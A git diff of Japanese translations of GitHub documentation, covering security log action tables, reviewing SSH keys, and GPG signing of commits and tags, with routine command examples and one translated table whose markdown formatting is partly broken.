+| `sponsor_sponsorship_preference_change`       | スポンサード開発者からメールで最新情報を受け取るかどうかを変更するとトリガーされます (「[スポンサーシップを管理する](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)」を参照)                                                                                                                          |
+| `sponsor_sponsorship_tier_change`             | スポンサーシップをアップグレードまたはダウングレードしたときにトリガーされます (「[スポンサーシップをアップグレードする](/articles/upgrading-a-sponsorship)」および「[スポンサーシップをダウングレードする](/articles/downgrading-a-sponsorship)」を参照)                                                                                                |
+| `sponsored_developer_approve`                 | {% data variables.product.prodname_sponsors %} アカウントが承認されるとトリガーされます (「[ユーザアカウントに{% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照)               |
+| `sponsored_developer_create`                  | {% data variables.product.prodname_sponsors %} アカウントが作成されるとトリガーされます (「[ユーザアカウントに {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照)              |
+| `sponsored_developer_disable`                 | {% data variables.product.prodname_sponsors %} アカウントが無効になるとトリガーされます                                                                                                                                                                                                 |
+| `sponsored_developer_redraft`                 | {% data variables.product.prodname_sponsors %} アカウントが承認済みの状態からドラフト状態に戻るとトリガーされます                                                                                                                                                                                    |
+| `sponsored_developer_profile_update`          | スポンサード開発者のプロフィールを編集するとトリガーされます (「[{% data variables.product.prodname_sponsors %} のプロフィール詳細を編集する](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)」を参照)                                                    |
+| `sponsored_developer_request_approval`        | 承認のために {% data variables.product.prodname_sponsors %} のアプリケーションをサブミットするとトリガーされます (「[ユーザアカウントに {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照) |
+| `sponsored_developer_tier_description_update` | スポンサーシップ層の説明を変更したときにトリガーされます (「[スポンサーシップ層を管理する](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)」を参照)                                                                                                                      |
+| `sponsored_developer_update_newsletter_send`  | スポンサーにメールで最新情報を送信するとトリガーされます (「[スポンサーに連絡する](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)」を参照)                                                                                                                                 |
+| `waitlist_invite_sponsored_developer`         | 待ちリストから {% data variables.product.prodname_sponsors %} に参加するよう招待されたときにトリガーされます (「[ユーザアカウントに{% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照)    |
+| `waitlist_join`                               | スポンサード開発者になるために待ちリストに参加するとトリガーされます (「[ユーザアカウントに {% data variables.product.prodname_sponsors %} を設定する](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)」を参照)                                               |
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### `successor_invitation` category actions
+### `successor_invitation` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| アクション     | 説明                                                                                                                                                                                       |
+| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `accept`  | 継承の招待を承諾するとトリガーされます（「[ユーザアカウントのリポジトリの所有権の継続性を管理する](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)」を参照）    |
+| `cancel`  | 継承の招待をキャンセルするとトリガーされます（「[ユーザアカウントのリポジトリの所有権の継続性を管理する](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)」を参照） |
+| `create`  | 継承の招待を作成するとトリガーされます（「[ユーザアカウントのリポジトリの所有権の継続性を管理する](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)」を参照）    |
+| `decline` | 継承の招待を拒否するとトリガーされます（「[ユーザアカウントのリポジトリの所有権の継続性を管理する](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)」を参照）    |
+| `revoke`  | 継承の招待を取り消すとトリガーされます（「[ユーザアカウントのリポジトリの所有権の継続性を管理する](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)」を参照）    |
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-### `team` category actions
+### `team` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team).
-| `add_repository` | Triggered when a team you are a member of is given control of a repository.
-| `create` | Triggered when a new team in an organization you belong to is created.
-| `destroy` | Triggered when a team you are a member of is deleted from the organization.
-| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of.
-| `remove_repository` | Triggered when a repository is no longer under a team's control.
+| アクション               | 説明                                                                                                            |
+| ------------------- | ------------------------------------------------------------------------------------------------------------- |
+| `add_member`        | 自分が所属している Organization のメンバーが[自分を Team に追加する](/articles/adding-organization-members-to-a-team)ときにトリガーされます。    |
+| `add_repository`    | 自分がメンバーである Team にリポジトリの管理が任せられるときにトリガーされます。                                                                   |
+| `create`            | 自分が所属している Organization で新たな Team が作成されるときにトリガーされます。                                                           |
+| `destroy`           | 自分がメンバーである Team が Organization から削除されるときにトリガーされます。                                                            |
+| `remove_member`     | Organization のメンバーが自分がメンバーである [Team から削除される](/articles/removing-organization-members-from-a-team)ときにトリガーされます。 |
+| `remove_repository` | リポジトリが Team の管理下でなくなるときにトリガーされます。                                                                             |
 
 {% endif %}
 
 {% ifversion not ghae %}
-### `two_factor_authentication` category actions
+### `two_factor_authentication` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled.
-| `disabled` | Triggered when two-factor authentication is disabled.
+| アクション      | 説明                                                                                             |
+| ---------- | ---------------------------------------------------------------------------------------------- |
+| `enabled`  | [2 要素認証](/articles/securing-your-account-with-two-factor-authentication-2fa)が有効になるときにトリガーされます。 |
+| `disabled` | 2 要素認証が無効になるときにトリガーされます。                                                                       |
 {% endif %}
 
-### `user` category actions
+### `user` カテゴリアクション
 
-| Action | Description
-|--------------------|---------------------
-| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %}
-| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.
-| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. {% endif %}
-| `create` | Triggered when you create a new user account.{% ifversion not ghae %}
-| `change_password` | Triggered when you change your password.
-| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %}
-| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).
-| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
-`mandatory_message_viewed`   | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-| `failed_login` | Triggered when you failed to log in successfully.
-| `remove_email` | Triggered when you remove an email address.
-| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %}
-| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
-| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %}
-| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+| アクション                                                                                                                                                                    | 説明                                                                                                                                                               |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `add_email`                                                                                                                                                              | トリガーされる条件                                                                                                                                                        |
+| {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %} |                                                                                                                                                                  |
+| `codespaces_trusted_repo_access_granted`                                                                                                                                 | リポジトリに作成する Codespaces で、自分のユーザーアカウントが所有している他のリポジトリにアクセスするのを許可するとトリガーされます (/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. |
+| `codespaces_trusted_repo_access_revoked`                                                                                                                                 | リポジトリに作成する Codespaces で、自分のユーザーアカウントが所有している他のリポジトリにアクセスするのを禁止するとトリガーされます (/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. |{% endif %}
+| `create`                                                                                                                                                                 | 新しいユーザアカウントを作成するとトリガーされます。{% ifversion not ghae %}
+| `change_password`                                                                                                                                                        | 自分のパスワードを変更するときにトリガーされます。                                                                                                                                        |
+| `forgot_password`                                                                                                                                                        | [パスワード のリセット](/articles/how-can-i-reset-my-password)を要求したときにトリガーされます。{% endif %}
+| `hide_private_contributions_count`                                                                                                                                       | [自分のプロファイルでプライベート コントリビューションを非表示にする](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)ときにトリガーされます。                                     |
+| `login`                                                                                                                                                                  | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
 
-### `user_status` category actions
 
-| Action | Description
-|--------------------|---------------------
-| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
-| `destroy` | Triggered when you clear the status on your profile.
+`mandatory_message_viewed`   | 必須メッセージを表示するとトリガーされます (詳細は「[ユーザーメッセージのカスタマイズ](/admin/user-management/customizing-user-messages-for-your-enterprise)」を参照してください) | |{% endif %}| | `failed_login` | 正常にログインできなかったときにトリガーされます。 | `remove_email` | メール アドレスを削除するとトリガーされます。 | `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %} | `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} | `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} | `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+
+### `user_status` カテゴリアクション
+
+| アクション     | 説明                                                                                                                        |
+| --------- | ------------------------------------------------------------------------------------------------------------------------- |
+| `update`  | 自分のプロファイルでステータスを設定または変更するときにトリガーされます。 詳細は「[ステータスを設定する](/articles/personalizing-your-profile/#setting-a-status)」を参照してください。 |
+| `destroy` | 自分のプロファイルでステータスを消去するときにトリガーされます。                                                                                          |
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
index 4d40bff504..4d5f2fb489 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
@@ -1,5 +1,5 @@
 ---
-title: Reviewing your SSH keys
+title: SSH キーをレビューする
 intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
   - /articles/keeping-your-application-access-tokens-safe
@@ -16,32 +16,32 @@ topics:
   - Identity
   - Access management
 ---
-You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid.
+
+許可されていない (あるいは侵害された可能性のある) SSH キーを削除することで、攻撃者が以後自分のリポジトリにアクセスすることを防止できます。 有効な既存の SSH キーを承認することもできます。
 
 {% mac %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. [SSH Settings] ページで、自分のアカウントに関連付けられている SSH キーを書き留めます。 覚えていないか古くなっている場合は、[**Delete**] をクリックします。 残しておきたい有効な SSH キーがある場合は、[**Approve**] をクリックします。 ![SSH キーのリスト](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **メモ:** Git 操作が失敗したために SSH キーを監査している場合は、 [SSH キー監査エラー](/articles/error-we-re-doing-an-ssh-key-audit)の原因となった未検証のキーが SSH キーのリストで強調表示されます。
 
   {% endtip %}
 
-4. Open Terminal.
+4. ターミナルを開きます。
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 自分の公開鍵のフィンガープリントを見つけてメモします。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} での SSH キーは、お使いのコンピュータでの同じキーと一致して*いなければなりません* 。
 
 {% endmac %}
 
@@ -49,28 +49,27 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. [SSH Settings] ページで、自分のアカウントに関連付けられている SSH キーを書き留めます。 覚えていないか古くなっている場合は、[**Delete**] をクリックします。 残しておきたい有効な SSH キーがある場合は、[**Approve**] をクリックします。 ![SSH キーのリスト](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **メモ:** Git 操作が失敗したために SSH キーを監査している場合は、 [SSH キー監査エラー](/articles/error-we-re-doing-an-ssh-key-audit)の原因となった未検証のキーが SSH キーのリストで強調表示されます。
 
   {% endtip %}
 
-4. Open Git Bash. 
+4. Git Bash を開きます。
 
 5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
 
   {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 自分の公開鍵のフィンガープリントを見つけてメモします。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} での SSH キーは、お使いのコンピュータでの同じキーと一致して*いなければなりません* 。
 
 {% endwindows %}
 
@@ -78,31 +77,30 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. [SSH Settings] ページで、自分のアカウントに関連付けられている SSH キーを書き留めます。 覚えていないか古くなっている場合は、[**Delete**] をクリックします。 残しておきたい有効な SSH キーがある場合は、[**Approve**] をクリックします。 ![SSH キーのリスト](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **メモ:** Git 操作が失敗したために SSH キーを監査している場合は、 [SSH キー監査エラー](/articles/error-we-re-doing-an-ssh-key-audit)の原因となった未検証のキーが SSH キーのリストで強調表示されます。
 
   {% endtip %}
 
-4. Open Terminal.
+4. ターミナルを開きます。
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 自分の公開鍵のフィンガープリントを見つけてメモします。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} での SSH キーは、お使いのコンピュータでの同じキーと一致して*いなければなりません* 。
 
 {% endlinux %}
 
 {% warning %}
 
-**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern.
+**警告**: 見慣れない SSH キーが {% data variables.product.product_name %} で見つかった場合は、すぐにそれを削除し、さらに支援が必要な場合は {% data variables.contact.contact_support %} に問い合わせてください。 確認できない公開鍵は、潜在的なセキュリティ上の問題を示している可能性があります。
 
 {% endwarning %}
diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/index.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/index.md
index 8a3ba49810..28c0d81250 100644
--- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/index.md
+++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing commit signature verification
-intro: 'You can sign your work locally using GPG or S/MIME. {% data variables.product.product_name %} will verify these signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}'
+title: コミット署名の検証を管理する
+intro: 'GPG または S/MIME を使用してローカルで作業に署名できます。 信頼できるソースによるコミットであることを他のユーザに知らせるために、{% data variables.product.product_name %} はこの署名を検証します。{% ifversion fpt %} {% data variables.product.product_name %} は、{% data variables.product.product_name %} Web インターフェイスを使用して自動的にコミットに署名します。{% endif %}'
 redirect_from:
   - /articles/generating-a-gpg-key
   - /articles/signing-commits-with-gpg
diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md
index a158f5199a..4d24e8e984 100644
--- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md
+++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Signing commits
-intro: You can sign commits locally using GPG or S/MIME.
+title: コミットに署名する
+intro: GPG または S/MIME を使用してローカルでコミットに署名できます。
 redirect_from:
   - /articles/signing-commits-and-tags-using-gpg
   - /articles/signing-commits-using-gpg
@@ -16,45 +16,45 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
 {% tip %}
 
-**Tips:**
+**参考:**
 
-To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`.
+Git バージョン 2.0.0 以降で、ローカルリポジトリでデフォルトでコミットに署名するために Git クライアントを設定するには、`git config commit.gpgsign true` を実行します。 コンピュータのローカルリポジトリでデフォルトですべてのコミットに署名するには、`git config --global commit.gpgsign true` を実行します。
 
-To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools:
-  - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain.
-  - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools.
+コミットに署名するたびに入力する必要をなくすために GPG キーパスフレーズを保管するには、次のツールの使用をおすすめします:
+  - Mac ユーザは、[GPG Suite](https://gpgtools.org/) により、Mac OS キーチェーンに GPG キーパスフレーズを保管できます。
+  - Windows ユーザの場合、[Gpg4win](https://www.gpg4win.org/) が他の Windows ツールと統合します。
 
-You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup.
+また、GPG キーパスフレーズを保管しておくために [gpg-agent](http://linux.die.net/man/1/gpg-agent) を手動で設定できます。ですが、ssh-agent のように Mac OS キーチェーンでは統合されず、さらにセットアップが必要です。
 
 {% endtip %}
 
-If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key).
+複数のキーを持っている場合、または、コミッターのアイデンティティにマッチしないキーでコミットやタグに署名しようとする場合、[ サインインのキーを Git に伝える](/articles/telling-git-about-your-signing-key)必要があります。
 
-1. When committing changes in your local branch, add the -S flag to the git commit command:
+1. ローカルブランチに変更をコミットする場合、 -S フラグをGitコミットコマンドに追加します。
   ```shell
   $ git commit -S -m <em>"your commit message"</em>
   # Creates a signed commit
   ```
-2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key).
-3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}:
+2. コミットの作成後にGPGを使っている場合、設定したパスフレーズをGPGキーを作成する時に提供します。
+3. ローカルでのコミット作成が完了したら、{% data variables.product.product_name %} 上のリモートリポジトリにプッシュします。
   ```shell
   $ git push
-  # Pushes your local commits to the remote repository
+  # ローカルコミットをリモートリポジトリにプッシュする
   ```
-4. On {% data variables.product.product_name %}, navigate to your pull request.
+4. {% data variables.product.product_name %}上で、プルリクエストに移動します。
 {% data reusables.repositories.review-pr-commits %}
-5. To view more detailed information about the verified signature, click Verified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+5. ベリファイされた署名の詳しい情報を見るには、Verifiedをクリックします。 ![署名されたコミット](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
 
-## Further reading
+## 参考リンク
 
-* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-* "[Signing tags](/articles/signing-tags)"
+* [既存の GPG キーのチェック](/articles/checking-for-existing-gpg-keys)
+* [新しい GPG キーの生成](/articles/generating-a-new-gpg-key)
+* [GitHub アカウントへの新しい GPG キーの追加](/articles/adding-a-new-gpg-key-to-your-github-account)
+* 「[Git へ署名キーを伝える](/articles/telling-git-about-your-signing-key)」
+* [GPG キーとメールの関連付け](/articles/associating-an-email-with-your-gpg-key)
+* 「[タグに署名する](/articles/signing-tags)」
diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-tags.md
index 7d9a38a398..94df747e96 100644
--- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-tags.md
+++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Signing tags
-intro: You can sign tags locally using GPG or S/MIME.
+title: タグに署名する
+intro: GPG または S/MIME を使用してローカルでタグに署名できます。
 redirect_from:
   - /articles/signing-tags-using-gpg
   - /articles/signing-tags
@@ -15,25 +15,26 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
-1. To sign a tag, add `-s` to your `git tag` command.
+1. タグに署名するには、`git tag` コマンドに `-s` を追加します。
   ```shell
   $ git tag -s <em>mytag</em>
-  # Creates a signed tag
+  # 署名済みのタグを作成する
   ```
-2. Verify your signed tag it by running `git tag -v [tag-name]`.
+2. `git tag -v [tag-name]`を実行して、署名したタグをベリファイします。
   ```shell
   $ git tag -v <em>mytag</em>
-  # Verifies the signed tag
+  # 署名済みのタグを検証する
   ```
 
-## Further reading
+## 参考リンク
 
-- "[Viewing your repository's tags](/articles/viewing-your-repositorys-tags)"
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
+- [リポジトリのタグを表示する](/articles/viewing-your-repositorys-tags)
+- [既存の GPG キーのチェック](/articles/checking-for-existing-gpg-keys)
+- [新しい GPG キーの生成](/articles/generating-a-new-gpg-key)
+- [GitHub アカウントへの新しい GPG キーの追加](/articles/adding-a-new-gpg-key-to-your-github-account)
+- 「[Git へ署名キーを伝える](/articles/telling-git-about-your-signing-key)」
+- [GPG キーとメールの関連付け](/articles/associating-an-email-with-your-gpg-key)
+- 「[コミットに署名する](/articles/signing-commits)」
diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
index 25275ba5df..693d9a8178 100644
--- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
+++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
@@ -1,6 +1,6 @@
 ---
-title: Telling Git about your signing key
-intro: 'To sign commits locally, you need to inform Git that there''s a GPG or X.509 key you''d like to use.'
+title: Git へ署名キーを伝える
+intro: ローカルでコミットに署名するには、使用する GPG または X.509 キーがあることを Git に知らせる必要があります。
 redirect_from:
   - /articles/telling-git-about-your-gpg-key
   - /articles/telling-git-about-your-signing-key
@@ -16,30 +16,31 @@ topics:
   - Access management
 shortTitle: Tell Git your signing key
 ---
+
 {% mac %}
 
-## Telling Git about your GPG key
+## Git へ GPG キーを伝える
 
 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+コミッターアイデンティティにマッチする GPG キーを持っていない場合、既存のキーとメールアドレスを関連付ける必要があります。 詳細は「[メールを GPG キーに関連付ける](/articles/associating-an-email-with-your-gpg-key)」を参照してください。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+複数の GPG キーを持っている場合、どれを使うかを Git に伝える必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. If you aren't using the GPG suite, run the following command in the `zsh` shell to add the GPG key to your `.zshrc` file, if it exists, or your `.zprofile` file:
+1. GPG スイートを使用していない場合は、`zsh` シェルで次のコマンドを実行して、GPG キーがある場合に `.zshrc` ファイル、または `.zprofile` ファイルに追加します。
   ```shell
   $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi
   ```
-  Alternatively, if you use the `bash` shell, run this command:
+  または、`bash` シェルを使用する場合は、次のコマンドを実行します。
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
@@ -51,17 +52,17 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% windows %}
 
-## Telling Git about your GPG key
+## Git へ GPG キーを伝える
 
